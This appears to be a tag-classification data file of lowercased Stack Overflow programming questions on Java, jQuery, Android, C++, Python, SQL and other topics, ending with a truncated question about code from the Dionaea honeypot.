getting music player control in lock screen like pandora app in iphone  iphone pandora app(in ios-4) supports controlling the audio from the lock screen like play pause next and prev.    how to get the music player control action from the lock screen.    can any one give me an idea about getting the actions of these control to native application from lock screen like pandora app.,iphone
jtabbedpane preferred size increasing when adding tabs  i have a dialog with several jtabbedpanes that can be minimized/maximized. however i have an issue when the tab is in minimized mode.    a small example of the code:   <pre><code>jdialog dialog = new jdialog(); jpanel main = new jpanel(); main.setlayout(new boxlayout(main  boxlayout.y_axis)); jpanel tabpanel = new jpanel(); jtabbedpane tabpane = new jtabbedpane();  for (int i = 0; i &lt; 5; i++) {      tabpane.addtab( test  + i  new jpanel());      system.out.println(tabpane.getpreferredsize().height); }    tabpanel.add(tabpane  borderlayout.north);  main.add(tabpanel  borderlayout.center);  dialog.add(main);  dialog.setpreferredsize(new dimension(50  100); dialog.pack(); dialog.setvisible(true); </code></pre>   what i expected was a tab pane to be the smallest size possible  but  i noticed that as i added more tabs  the height of the tabbed pane was increasing. this was the result from the print statement:    37  55  73  91  109    the fact that the height is increasing when tabs are added does not seem right to me since according to the documentation in <a href= https://docs.oracle.com/javase/tutorial/uiswing/components/tabbedpane.html  rel= nofollow noreferrer >https://docs.oracle.com/javase/tutorial/uiswing/components/tabbedpane.html</a>   the preferred size of the tabbed pane is just big enough to display its tallest child at its preferred height  and its widest child at its preferred width.  i would expect that since i m adding empty panels  the size would not change  but this does not seem to be the case. is there anyway around this     fyi  i am using the latest version of java.,java
how can i deselect a button after 2 buttons have been selected jtogglebutton  i am trying to make sure that in my memory game  once a person selects two cards. they are visible  as soon as they select a third card  the first two cards are no longer visible.    here follows my implementation of the actionperformed method.   <pre><code>public void actionperformed(actionevent e){      cardsselected++;       int row=0;      int column=0;      int row2=0;      int column2=0;      if(cardsselected == 3){      card1.setselected(false);      card2.setselected(false);      card1 = null;      card2 = null;       cardsselected = 1;       }      if(card1 == null){        card1 = (cell) e.getsource();        card1.setselected(true);        row = card1.getrow();         column = card1.getcolumn();        board[row][column].seticon2();        }      else if(card2 == null){       card2 = (cell) e.getsource();           card2.setselected(true);        row = card2.getrow();         column = card2.getcolumn();        board[row][column].seticon2();      }       if(card1 != null &amp;&amp; card2 != null){      numtries++;       if(card1.sametype(card2) ){          row = card1.getrow();         column = card1.getcolumn();              row2 = card2.getrow();        column2 = card2.getrow();             if(row != row2 &amp;&amp; column != column2){        board[row][column].setvisible(false);        board[row2][column2].setvisible(false);        card1=null;        card2=null;        }      }        }                  } </code></pre>   any insight will be very welcome! thank you all in advance! mjall2,java
handle multiple web.configs based on url  we currently have an application which is used against multiple regional databases.  the codebase is exactly the same but it is rolled out on the webserver in 3 different directories each with its own web.config (to hit the correct database and get correct app settings).   each with its own iis environment.    however  my manager wants this changed i.e. one iis application which will dynamically load up the correct web.config file for each region.      i will attempt to load the correct web.config file based on a query parameter when logging in but i have no idea on how to load the web.config file when logging in.    anyone with experience doing this .... is there a better solution,asp.net
cout skipping the numbers after the decimal spaces  i have assigned an <code>integer</code> to a <code>double</code> variable  but <code>cout</code> prints the double variable as an <code>int</code>. not as <code>double</code> . if i introduce  <code>cout &lt;&lt; showpoint;</code> in the code then i m able to see the decimal values at the out put . why is it so in the first case   here is the code .   <pre><code>#include &lt;iostream&gt;  using namespace std;  template &lt;class t&gt;  t sum(t a t b) {   t retval;    retval=a+b;   return retval; }  int main() {   double a x;   float y v=4.66;   int z(3);      x=z;   y=(double)z;      a=sum(5 6);    //cout &lt;&lt; showpoint;    cout&lt;&lt; the value of a is :  &lt;&lt;a&lt;&lt;endl;    cout&lt;&lt; the value of x is :  &lt;&lt;x&lt;&lt;endl;      cout&lt;&lt; the value of y is :  &lt;&lt;y&lt;&lt;endl; } </code></pre>   the output in first case is    <pre><code>the value of a is : 11 the value of x is : 3 the value of y is : 3 </code></pre>   the output after enabling <code>cout&lt;&lt;showpoint</code> in the second case is    <pre><code>the value of a is : 11.0000 the value of x is : 3.00000 the value of y is : 3.00000 </code></pre>,c++
temperature conversion using or operator in python  i tried to use this code to make a simple temp converter between celcius and farenheit....my code :   <pre><code>value=raw_input( temperature reading=  ) check=value[-1] c=int(value[:-1]) if check == c  or  c :     print (9*c/5)+32  f  if check == f  or  f :     print 5*(c-32)/9  c   raw_input( press &lt;enter&gt; to exit! ) </code></pre>   the problem with this is that if the user inputs for example 50f it prints both of them in the  if  functions. i need to correct it. thanks :),python
"how to pass $(this) to a function then using parent()  when i pass an <code>.on( click    .time_tracked_starttime   function() {</code> click event i am calling a function <code>$.fn.downcount();</code> at which point i create <code>var container = this</code> so that i can use it inside the other function <code>countdown()</code>    problem is that i need to access the container from 2 <code>parent()</code> above. something like <code>$(this).parent().parent();</code> so i can properly find <code>container.find( .hours ).html();</code>    i tried <code>var container = $(this) parent().parent();</code> but still comes back as <code>undefined</code>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>//timer//
 $.fn.downcount = function() {
   var container = $(this).parent().parent();
 
   function countdown() {
     var hours = container.find( .hours ).html();
     alert(hours)
     var minutes = container.find( .minutes ).html();
     var seconds = container.find( .seconds ).html();
 
     if (seconds ==  59 ) {
       seconds =  00 ;
       minutes = parseint(minutes) + 1;
     } else {
       seconds = parseint(seconds) + 1;
     }
 
     if (minutes ==  59 ) {
       minutes =  00 ;
       hours = parseint(hours) + 1
     }
 
     // fix dates so that it will show two digets
     hours = (string(hours).length &gt;= 2)   hours :  0  + hours;
     minutes = (string(minutes).length &gt;= 2)   minutes :  0  + minutes;
     seconds = (string(seconds).length &gt;= 2)   seconds :  0  + seconds;
 
     // set to dom
     container.find( .hours ).html(hours);
     container.find( .minutes ).html(minutes);
     container.find( .seconds ).html(seconds);
   };
 
   // start
   var interval = setinterval(countdown(container)  1000);
 };
 //timer//
 
 $(document).on( click    .time_tracked_starttime   function() {
   var time_tracked_id = $(this).attr( data-id );
   var thisstart = $(this);
   var current_time = $(this).parent().parent().find( .each_hours ).text();
   // start timer
   $.fn.downcount();
   // start timer
   $.ajax({
     type:  post  
     url:  /includes/time_tracked_start_timer.php  
     data: {
       time_tracked_id: time_tracked_id
     } 
     success: function(data) {
       thisstart.hide();
       thisstart.next().next( .time_tracked_edit ).hide();
       thisstart.next( .time_tracked_stoptime ).show();
     }
   })
 })</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;div id= thistimetrackid  class= col-sm-12 &gt;
   &lt;div class= col-sm-12 &gt;
     &lt;a class= pointer time_tracked_starttime  data-id= 12345  style= color: green &gt;start time&lt;/a&gt;
   &lt;/div&gt;
   &lt;span class= pull-right countdown &gt;&lt;strong class= each_hours &gt;&lt;span class= hours &gt;01&lt;/span&gt;:&lt;span class= minutes &gt;30&lt;/span&gt;:&lt;span class= seconds &gt;57&lt;/span&gt;&lt;/strong&gt; hrs&lt;/span&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",jquery
what is the file extension when creating binary files  i am just trying to learn to write to binary files. when we create text files we normally give the extension .txt. the same way  what should be the file extension for binary files created using c#.    which are the contexts that demands us to write to a binary file. what is the benefit in writing/creating a binary file rather than a text file when processing data,c#
is checking the pointer of an object with negation operator the same as with comparing it to nil   i maybe naming it wrong  so please correct me.     i just want to know if this   <pre><code>if(!obj) {     //do something } </code></pre>   is exactly the same as this   <pre><code>if(obj == nil) {  } </code></pre>   i mean are they both checking whether the object points to nil,objective-c
error inflating class fragment in android  i am new at developing android programs and am stuck on trying to complete an exercise from the professional android 4 book that introduces fragments.  i get the following error:   <pre><code>inflateexception: binary xml file line #6: error inflating class fragment </code></pre>   below is my main activity java program:   <pre><code>package com.example.todolist; import java.util.arraylist; import android.app.activity; import android.app.fragmentmanager; import android.os.bundle; import android.widget.arrayadapter;  public class mainactivity extends activity  implements newitemfragment.onnewitemaddedlistener { private arrayadapter&lt;string&gt; aa; private arraylist&lt;string&gt; todoitems;  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);      // get references to the fragments      fragmentmanager fm = getfragmentmanager();     todolistfragment todolistfragment =                             (todolistfragment)fm.findfragmentbyid(r.id.todolistfragment);   aa = new arrayadapter&lt;string&gt;(this  android.r.layout.simple_list_item_1  todoitems);   todolistfragment.setlistadapter(aa);   @override public void onnewitemadded(string newitem) {     // todo auto-generated method stub     todoitems.add(newitem);     aa.notifydatasetchanged(); } </code></pre>   }    the todolistfragment class is shown below:   <pre><code>package com.example.todolist; import android.app.listfragment;  public class todolistfragment extends listfragment{  } </code></pre>   below is my newitemfragment class.   <pre><code>package com.example.todolist;  import android.app.activity; import android.support.v4.app.fragment; import android.view.keyevent; import android.os.bundle; import android.view.layoutinflater; import android.view.view; import android.view.viewgroup; import android.widget.edittext;   public class newitemfragment extends fragment{  @override public view oncreateview(layoutinflater inflater  viewgroup container          bundle savedinstancestate) {     view view = inflater.inflate(r.layout.new_item_fragment  container  false);      final edittext myedittext = (edittext)view.findviewbyid(r.id.myedittext);      myedittext.setonkeylistener(new view.onkeylistener() {         public boolean onkey(view v  int keycode  keyevent event) {           if(event.getaction() == keyevent.action_down)               if((keycode == keyevent.keycode_dpad_center) ||                     (keycode == keyevent.keycode_enter)) {                   string newitem = myedittext.gettext().tostring();                   onnewitemaddedlistener.onnewitemadded(newitem);                   myedittext.settext(  );                   return true;         }        return false;  }     });     return view; }  public interface onnewitemaddedlistener {     public void onnewitemadded(string newitem);  }  private onnewitemaddedlistener onnewitemaddedlistener;  @override public void onattach(activity activity) {     super.onattach(activity);      try {         onnewitemaddedlistener = (onnewitemaddedlistener)activity;     } catch (classcastexception e) {         throw new classcastexception(activity.tostring());     } }  } </code></pre>   below is my activity_main.xml file:   <pre><code>&lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android  xmlns:tools= http://schemas.android.com/tools  android:orientation= vertical  android:layout_width= match_parent  android:layout_height= match_parent &gt; &lt;fragment android:name= com.paad.todolist.newitemfragment      android:id= @+id/newitemfragment       android:layout_width= match_parent      android:layout_height= wrap_content      android:hint= @string/additemhint       /&gt; &lt;fragment android:name= com.paad.todolist.todolistfragment      android:id= @+id/todolistfragment     android:layout_width= match_parent     android:layout_height= wrap_content      /&gt;   &lt;/linearlayout&gt; </code></pre>   finally  here is my new_itemfragment xml file:   <pre><code>&lt;edittext xmlns:android= http://schemas.android.com/apk/res/android      android:id= @+id/myedittext       android:layout_width= match_parent      android:layout_height= wrap_content      android:hint= @string/additemhint      /&gt; </code></pre>   if anyone can tell me why i am getting the inflating fragment error i will greatly appreciate it. i tried using import android.support.v4.app.fragmentmanager but that didn t work and try using android.support.v4.app.listfragment and that didn t work either. i have been programming for many years in other languages but android is really a challenge for me so far using eclipse.  are their better ides for developing android projects     i try importing the android.support.v4.app fragment classes but when i do the getfragmentmanager function is unresolved.  below is a dump of the logcat.   <pre><code>  02-21 20:53:27.769: e/androidruntime(1280): java.lang.runtimeexception: unable to     start activity    componentinfo{com.example.todolist/com.example.todolist.mainactivity}: android.view.inflateexception: binary xml file line #6: error inflating class fragment   02-21 20:53:27.769: e/androidruntime(1280): at android.app.activitythread.performlaunchactivity(activitythread.java:2180)  02-21 20:53:27.769: e/androidruntime(1280):    at android.app.activitythread.handlelaunchactivity(activitythread.java:2230)  02-21 20:53:27.769: e/androidruntime(1280):    at android.app.activitythread.access$600(activitythread.java:141)  02-21 20:53:27.769: e/androidruntime(1280):    at android.app.activitythread$h.handlemessage(activitythread.java:1234)  02-21 20:53:27.769: e/androidruntime(1280):    at android.os.handler.dispatchmessage(handler.java:99)  02-21 20:53:27.769: e/androidruntime(1280):    at android.os.looper.loop(looper.java:137)  02-21 20:53:27.769: e/androidruntime(1280):    at android.app.activitythread.main(activitythread.java:5039)  02-21 20:53:27.769: e/androidruntime(1280):    at java.lang.reflect.method.invokenative(native method)  02-21 20:53:27.769: e/androidruntime(1280):    at java.lang.reflect.method.invoke(method.java:511)  02-21 20:53:27.769: e/androidruntime(1280):    at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:793)  02-21 20:53:27.769: e/androidruntime(1280):    at com.android.internal.os.zygoteinit.main(zygoteinit.java:560)  02-21 20:53:27.769: e/androidruntime(1280):    at dalvik.system.nativestart.main(native method)  02-21 20:53:27.769: e/androidruntime(1280): caused by: android.view.inflateexception: binary xml file line #6: error inflating class fragment  02-21 20:53:27.769: e/androidruntime(1280):    at android.view.layoutinflater.createviewfromtag(layoutinflater.java:704)  02-21 20:53:27.769: e/androidruntime(1280):    at android.view.layoutinflater.rinflate(layoutinflater.java:746)  02-21 20:53:27.769: e/androidruntime(1280):    at android.view.layoutinflater.inflate(layoutinflater.java:489)  02-21 20:53:27.769: e/androidruntime(1280):    at android.view.layoutinflater.inflate(layoutinflater.java:396)  02-21 20:53:27.769: e/androidruntime(1280):    at android.view.layoutinflater.inflate(layoutinflater.java:352)  02-21 20:53:27.769: e/androidruntime(1280):    at com.android.internal.policy.impl.phonewindow.setcontentview(phonewindow.java:270)  02-21 20:53:27.769: e/androidruntime(1280):    at android.app.activity.setcontentview(activity.java:1881)  02-21 20:53:27.769: e/androidruntime(1280):    at com.example.todolist.mainactivity.oncreate(mainactivity.java:20)  02-21 20:53:27.769: e/androidruntime(1280):    at android.app.activity.performcreate(activity.java:5104)  02-21 20:53:27.769: e/androidruntime(1280):    at android.app.instrumentation.callactivityoncreate(instrumentation.java:1080)  02-21 20:53:27.769: e/androidruntime(1280):    at android.app.activitythread.performlaunchactivity(activitythread.java:2144)  02-21 20:53:27.769: e/androidruntime(1280):    ... 11 more  02-21 20:53:27.769: e/androidruntime(1280): caused by: android.app.fragment$instantiationexception: unable to instantiate fragment com.paad.todolist.newitemfragment: make sure class name exists  is public  and has an empty constructor that is public  02-21 20:53:27.769: e/androidruntime(1280):    at android.app.fragment.instantiate(fragment.java:592)  02-21 20:53:27.769: e/androidruntime(1280):    at android.app.fragment.instantiate(fragment.java:560)  02-21 20:53:27.769: e/androidruntime(1280):    at android.app.activity.oncreateview(activity.java:4709)  02-21 20:53:27.769: e/androidruntime(1280):    at android.view.layoutinflater.createviewfromtag(layoutinflater.java:680)  02-21 20:53:27.769: e/androidruntime(1280):    ... 21 more  02-21 20:53:27.769: e/androidruntime(1280): caused by:        java.lang.classnotfoundexception: didn t find class  com.paad.todolist.newitemfragment  on  path: /data/app/com.example.todolist-1.apk  02-21 20:53:27.769: e/androidruntime(1280):    at dalvik.system.basedexclassloader.findclass(basedexclassloader.java:65)  02-21 20:53:27.769: e/androidruntime(1280):    at java.lang.classloader.loadclass(classloader.java:501)  02-21 20:53:27.769: e/androidruntime(1280):    at java.lang.classloader.loadclass(classloader.java:461) </code></pre>   running the debugger i found that the exception was thrown at these instructions:<br>          aa = new arrayadapter(this   android.r.layout.simple_list_item_1  todoitems);<br>          todolistfragment.setlistadapter(aa);                                    i noted that todoitems has a value of null so i am wondering if that element has to be initialized with a value.,android
buttons  in scroll view with pages  i ve got a scroll view with pages  it uses images to display different pages  i m looking to put buttons on the different pages but i m not quite sure how to go about it.    here is my current code:   <pre><code>- (void)viewdidload {     [super viewdidload];      // add the first image (image1) into the last position     [self addimagewithname:@ image1.jpg  atposition:0];      scrollview.contentsize = cgsizemake(2272  320);     [scrollview scrollrecttovisible:cgrectmake(568 0 0 320) animated:no];      // add the last image (image4) into the first position     [self addimagewithname:@ image4.jpg  atposition:5];      // add all of the images to the scroll view     for (int i = 1; i &lt; 4; i++) {         [self addimagewithname:[nsstring stringwithformat:@ image%i.jpg  i] atposition:i];     } } -(void)viewdidappear:(bool)animated {     [self.navigationcontroller setnavigationbarhidden:no animated:yes]; } - (void)addimagewithname:(nsstring*)imagestring atposition:(int)position {     // add image to scroll view     uiimage *image = [uiimage imagenamed:imagestring];     uiimageview *imageview = [[uiimageview alloc] initwithimage:image];     imageview.frame = cgrectmake(position*568  0  568  320);     [scrollview addsubview:imageview]; } </code></pre>,objective-c
reading from rs232 getting two white spaces after string  i m trying to read from rs232. for some reason  and sometimes(not always) after reading string it takes two white spaces.   <pre><code>public static void modem(main ths)     {                   myserialport = new serialport(connection.modemserialport);                 myserialport.baudrate = 115200;                 myserialport.parity = parity.none;                 myserialport.stopbits = stopbits.one;                 myserialport.databits = 8;                 myserialport.handshake = handshake.none;                  myserialport.open();                 myserialport.writeline( at+vcid=1\r );                 myserialport.datareceived += new serialdatareceivedeventhandler(datareceivedhandler);        }     private static void datareceivedhandler(object sender  serialdatareceivedeventargs e)     {         try         {              serialport sp = (serialport)sender;             string indata = sp.readexisting();              if (indata.contains( = ) == true)             {                   string str = indata.split( = ).last().trim();            } </code></pre>   so my result is  test      i dont know why happening this.,c#
html element location relative to screen  i am trying to get the location of a div element relative to the screen. i read every where and still can t find a solution to this  my code currently is:   <pre><code>var myelement = document.getelementbyid( pi ); var myelement2 = document.body;  alert (myelement.offsettop +     + myelement.offsetleft); alert (myelement2.offsettop +     + myelement2.offsetleft); alert (window.screenx); </code></pre>   all i get is 8 8 for my div element which is not really the location.    html code:    <code>&lt;body&gt;     &lt;div id=pi &gt;fffddd&lt;/div&gt;  &lt;/body&gt;</code>,javascript
python 3 tic tac toe using lists  my code wont work  i m trying to get my input on line 5 to replace whatever number i inputted  to correspond with the board list.   <pre><code>board = [ |    |    |    |    |    |    |    |    |    | ] print (board[0:3]) print (board[4:7]) print (board[7:10]) player1 = int(input( type a number 0 - 9 )) player1 = int(board(int[input] ==  x )) print (board[0:3]) print (board[4:7]) print (board[7:10]) </code></pre>,python
unable to destroy main activity <pre><code>   08-07 12:51:59.799: e/androidruntime(1240): java.lang.runtimeexception: unable to                 destroy activity {com.example.cap_im/com.example.cap_im.mainactivity}:            java.lang.nullpointerexception </code></pre>   in my android application i have two activities called splash screen and main activity.when i run the application it works fine.but when i click the back button.i get following error.in my on destroy method i close my cursor.can u help me with this.   <pre><code>         public static string convertimageuritofile(uri imageuri  activity activity) {       int imageid = 0;      try {          /*********** which columns values want to get *******/         string[] proj = { mediastore.images.media.data                  mediastore.images.media._id                  mediastore.images.thumbnails._id                  mediastore.images.imagecolumns.orientation };          cursor = activity.getcontentresolver().query(imageuri  proj  null                  null  null);          // get query data          int columnindex = cursor                 .getcolumnindexorthrow(mediastore.images.media._id);         int file_columnindex = cursor                 .getcolumnindexorthrow(mediastore.images.media.data);          // int orientation_columnindex = cursor.         // getcolumnindexorthrow(mediastore.images.imagecolumns.orientation);          int size = cursor.getcount();          /******* if size is 0  there are no images on the sd card. *****/          if (size == 0) {              // imagedetails.settext( no image );         } else {              if (cursor.movetofirst()) {                  imageid = cursor.getint(columnindex);                 delete_image_id = imageid;                  path = cursor.getstring(file_columnindex);               }          }      } finally {         if (cursor != null) {          }     } </code></pre>,android
iterate through late bound objects enum(s) <pre><code>public class scoringstrategyentity      public enum totalingmethodtype         weighted_share         multiply_components     end enum  private _totalingmethod as totalingmethodtype     public property totalingmethod() as totalingmethodtype         get             return _totalingmethod         end get         set(byval value as totalingmethodtype)             _totalingmethod = value         end set     end property  end class  dim scoringstrategy as object = activator.createinstance( mydll    mydll.scoringstrategyentity ).unwrap()  for each enum in scoringstrategy.totalingmethodtype  next </code></pre>,.net
cyclic negative number generation in c++  i have requirement as follows.    i have to generate increment negative numbers from -1 to -100 which is used a unique id for a request. like it should be like this: -1  -2  -3  ...-100  -1  -2  and so on. how can i do this effectively  i am not supposed to use boost. c++ stl is fine. i prefer to write simple function like int getnextid() and it should generate id. request sample program on how to do this effectively     thanks for your time and help,c++
clear an inline-block  how can i clear an inline-block      here is my html:    <pre><code>&lt;p&gt;text 1&lt;/p&gt; &lt;p&gt;text 2&lt;/p&gt; &lt;p class= third &gt;text 3&lt;/p&gt; &lt;p&gt;text 4&lt;/p&gt; </code></pre>   my css makes each p tag an inline-block  which is used for layout  styling  margins and padding purposes.     for a responsive layout i now need text 3 to clear onto the next line  and for text 4 to go with it. so before i had this:    text 1 text 2 text 3 text 4    but now i need this:    text 1 text 2     text 3 text 4    update - is there a solutin that doenst add extra html markup,css
identify whether a string is stopword or not in python  i want to identify whether a string is a stopword or not  i write a python cod for this but i did not get the correct result code is   <pre><code>stopwords = [  a   about   above   after   again   against   all   am   an   and   any   are   aren t   as   at   be   because   been   before   being   below   between   both   but   by   can t   cannot   could   couldn t   did   didn t   do   does   doesn t   doing   don t   down   during   each   few   for   from   further   had   hadn t   has   hasn t   have   haven t   having   he   he d   he ll   he s   her   here   here s   hers   herself   him   himself   his   how   how s   i   i d   i ll   i m   i ve   if   in   into   is   isn t   it   it s   its   itself   let s   me   more   most   mustn t   my   myself   no   nor   not   of   off   on   once   only   or   other   ought   our   ours    ourselves   out   over   own   same   shan t   she   she d   she ll   she s   should   shouldn t   so   some   such   than   that   that s   the   their   theirs   them   themselves   then   there   there s   these   they   they d   they ll   they re   they ve   this   those   through   to   too   under   until   up   very   was   wasn t   we   we d   we ll   we re   we ve   were   weren t   what   what s   when   when s   where   where s   which   while   who   who s   whom   why   why s   with   won t   would   wouldn t   you   you d   you ll   you re   you ve   your   yours   yourself   yourselves ]; file= c:/python26/test.txt ; f=open( stopwords.txt   w ); with open(file  r ) as rf:     lines = rf.readlines();     for word in lines:         if word in stopwords:             f.write(word.strip( \n )+ \t  1  \n );                     else:             f.write(word.strip( \n )+ \t  0  \n );     f.close(); </code></pre>   at result i got 0 against every token/string stored in the test.txt file,python
reloading a class in python 2.7 without killing obj  i am having a class and a object for that class. problem is when i have to make changes in the class methods  i have to kill the object and initiate another object. is there a way i can get the modified functionality without killing object   <pre><code>class abc:     def abc():         print  hello i am original text  </code></pre>   i am calling the class as   <pre><code>import abc obj = abc()  obj.abc() is printing the desired output </code></pre>   if i want to make changes in the method abc or write a new method for the class  i have to reopen the python shell and have a new obj.     i am looking for a way where i can reload the class again and same object will have new properties of the class    i am using python 2.7 and tried few things that i got like reload(module)     <code>giving negative rating is fine but there should be a reason for that. just like if you don t have answer to that or does not understand it well  won t qualify you to give negative rating</code>,python
defining setter in a shorter way  currently when i want to define a setter and leave getter alone i do this:   <pre><code>@property def my_property(self):     return self._my_property  @my_property.setter def my_property(self  value):     value.do_some_magic()     self._my_property = value </code></pre>   is there any way to make it shorter  i d like to skip this part as it always look the same:   <pre><code>@property def my_property(self):     return self._my_property </code></pre>,python
stop foreach and return value in a function  i have a function like below   i want to loop through an array and return some value based on comparison    <pre><code>function genborder(old   newer) { var temp =  blue ; old.foreach( function(x) {   var oldy = x.price; var oldq = x.quantity;  if(oldy == newer.price) { if(oldq &lt; newer.quantity) {  var temp =   green ; console.log( green );  return false;  } else {  var temp =   red ;  return false;  }  }  });  return temp;  } </code></pre>   above function always returning value blue   even though condition is satisfied and <code>console.log( green );</code> is working,javascript
functor s argument_type considered bad: how to replace it   i have been intrigued by <code>std::function</code> s <code>argument_type</code> being deprecated. the response given to this <a href= https://stackoverflow.com/questions/35907454/why-stdfunctionargument-type-has-ben-deprecated >previous question</a> references a paper that actually goes further  implying that <code>result_type</code> and similar type definitions to be old/bad practice. the paper suggests in particular that perfect forwarding killed the need for <code>argument_type</code>.    is that always so however  sometimes you do want to have the type of the argument to do more elaborate things than just forwarding. for example  a numerical optimization object may take a functor to minimize as a template argument  and use its <code>argument_type</code> to deduce the input s precision and therefore adapt stopping criteria constants accordingly.    would there be a more post-c++11 way than typedefs to do that  is there a way to deduce automatically the type of the argument without having to specify it again in one form or another  or are those kind of constructions (a class depending on the argument type of another) also considered bad practice  and what would be an alternative implementation,c++
how can i add multiple delegates to my view controller   how can i add multiple delegates to my view controller  i need to have multiple delegates  <code>&lt;mfmailcomposeviewcontrollerdelegate&gt;</code> and <code>&lt;uitextviewdelegate&gt;</code>. this is my current system for it which only allows me to have one:   <pre><code>#import &lt;uikit/uikit.h&gt; #import &lt;messageui/messageui.h&gt;  @interface fifthviewcontroller : uiviewcontroller &lt;mfmailcomposeviewcontrollerdelegate&gt;  @property (weak  nonatomic) iboutlet uitextfield *subjectfield; @property (weak  nonatomic) iboutlet uitextfield *explainfield; - (ibaction)sendbutton:(id)sender; @property (weak  nonatomic) iboutlet uitextfield *bccfield;  @property (weak  nonatomic) iboutlet uitextfield *name;    @end </code></pre>   ive tried doing things like using commas and spaces but i get the error  expected identifier  when i have multiple delegates in there.,ios
sizeof operator error on data types  i found it strange  that i am getting compile error when using <code>sizeof int</code>  while <code>sizeof var</code> (where var is a variable) works just fine.   <pre><code>int a;  a = (int) sizeof( a ); //ok a = (int) sizeof( int ); //ok  a = (int) sizeof a; //ok a = (int) sizeof int; //error </code></pre>   can anyone tell me  why do i get the error     (older machine  mac osx 10.5.8  gcc 4.0.1),c
sql query to find which country has the maximum number of suppliers and customers  <strong>customer table columns:</strong>    customerid  companyname contactname contacttitle    address city    region  postalcode  country phone   fax    <strong>supplier table columns:</strong>    supplierid  companyname contactname contacttitle    address city    region  postalcode  country phone   fax homepage    <em>from these table how we find   which country has the maximum number of suppliers and customers...    i need query for the above problem....   pls answer me any one....!</em>,sql
warning when declare a string in android  im just asking you a simple question to you experts because i just started studying android basics.    i tried to create a table view and display some strings in it.    i write the xml like this but im getting some warnings  i18n] hardcoded string  open...   should use @string   resource  when a string is declared.                               <pre><code>&lt;tablerow&gt;     &lt;textview         android:layout_column= 1          android:text= hello          android:padding= 3dip  /&gt;     &lt;textview         android:text= helloo          android:gravity= right          android:padding= 3dip  /&gt; &lt;/tablerow&gt;  &lt;tablerow&gt;     &lt;textview         android:layout_column= 1          android:text= how          android:padding= 3dip  /&gt;     &lt;textview         android:text= ctrl-shift-s          android:gravity= right          android:padding= 3dip  /&gt; &lt;/tablerow&gt;  &lt;view     android:layout_height= 2dip      android:background= #ff909090  /&gt;  &lt;tablerow&gt;     &lt;textview         android:text= are          android:padding= 3dip  /&gt;     &lt;textview         android:text= you          android:padding= 3dip  /&gt; &lt;/tablerow&gt; </code></pre>   can you please help me please.thanks in advance.,android
go through each image named with same class but assigning them different widths  i have the following code which goes through each image that has the class .image-resize and gives them a newwidth depending on the screen size. however i would like to give each image different newwidth  for example i want the images to be given these values:    1st image) <code>newwidth =  wid=860&amp;crop=0 0 860 650 ;</code>    2nd image) <code>newwidth =  wid=760&amp;crop=0 0 760 650 ;</code>    3rd image) <code>newwidth =  wid=560&amp;crop=0 0 560 650 ;</code>    4th image) <code>newwidth =  wid=460&amp;crop=0 0 460 650 ;</code>    as you see each one has slightly different parameters  how could i achieve that     html     <pre><code>  &lt;img class= image-resize  src= http://images.domain.com/is/image/domain/style7 wid=960&amp;crop=0 0 960 650 &gt;     &lt;img class= image-resize  src= http://images.domain.com/is/image/domain/style7 wid=960&amp;crop=0 0 960 650 &gt;     &lt;img class= image-resize  src= http://images.domain.com/is/image/domain/style7 wid=960&amp;crop=0 0 960 650 &gt;     &lt;img class= image-resize  src= http://images.domain.com/is/image/domain/style7 wid=960&amp;crop=0 0 960 650 &gt; </code></pre>   jquery   <pre><code>$( .image-resize ).each(function() {     var element = $(this)          src = $(this).attr( src )          regx = /(wid.*)$/g          currentwidth          newwidth          newcrop          newsrc          parameters;     if ($(window).width() &gt; 623) {       /* large displays ----------- */      //return large image if screen size is over 768px      currentwidth = src.match(regx);      newwidth =  wid=960&amp;crop=0 0 960 650 ;      newsrc = src.replace(currentwidth  newwidth);      }   else if ($(window).width() &lt;= 623) {      /* smartphones ----------- */      currentwidth = src.match(regx);      newwidth =  wid=640&amp;crop=360 0 600 400 ;      newsrc = src.replace(currentwidth  newwidth);    }     element.attr( src   newsrc); }); </code></pre>,jquery
installing .net framework 4 and keeping 3.5  if i install framework 4 will it replace framework 3.5  i still work on many applications using framework 3.5 which i do not plan to migrate in the near future however i d like to use framework 4 for new projects.,.net
pop up button binding strange trouble  i m trying to using pop up button in my code. this is how it look:<img src= https://i.stack.imgur.com/6xyqp.png  alt= alt text >    this is binding configuration: <img src= https://i.stack.imgur.com/nqjnf.png  alt= alt text >    import choice list local attributes is array controller has reference outlets in appdelegate main code  and i update it as   <pre><code> [temparray setcontent:carrierslistarray]; </code></pre>   everything work fine  but when i select something from button  i lost one of possible choice from the list  it s moving out and leave double choosing issues: <img src= https://i.stack.imgur.com/clpkp.png  alt= alt text >,objective-c
python  global name  x  is not defined  <pre><code>from dionaea.core import ihandler  incident  g_dionaea from dionaea.util import md5file  sha512file from dionaea import pyev  import logging import json import uuid  logger = logging.getlogger( submit_http ) logger.setlevel(logging.debug)  class submmithttp_report:     def __init__(self  sha512h  md5  filepath):         self.sha512h  self.md5h  self.filepath = sha512h  filepath         self.saddr  self.sport  self.daddr  self.dport = (    )*4         self.download_url =      class handler(ihandler):     def __init__(self  path):         logger.debug( %s ready!  % (self.__class__.__name__))         ihandler.__init__(self  path)         mwsconfig = g_dionaea.config()[ modules ][ python ][ submit_http ]         self.backendurl = mwsconfig[ url ]         self.email =  email  in mwsconfig and mwsconfig[ email ] or  dionaea@carnivore.it          self.user =  user  in mwsconfig and mwsconfig[ user ] or            self.password =  pass  in mwsconfig and mwsconfig[ pass ] or            self.cookies = {}          # heartbeats         dinfo = g_dionaea.version()         self.software =  dionaea {0} {1}/{2} - {3} {4} .format(             dinfo[ dionaea ][ version ]              dinfo[ compiler ][ os ]              dinfo[ compiler ][ arch ]              dinfo[ compiler ][ date ]              dinfo[ compiler ][ time ]          )         self.loop = pyev.default_loop()      def handle_incident(self  icd):         pass      def handle_incident_dionaea_download_complete_unique(self  icd):         cookie = str(uuid.uuid4())          i = incident( dionaea.upload.request )         i._url = self.backendurl          i.sha512 = sha512file(icd.file)         i.md5 = md5file(icd.file)         i.email = self.email         i.user = self.user         i.password = self.password          mr 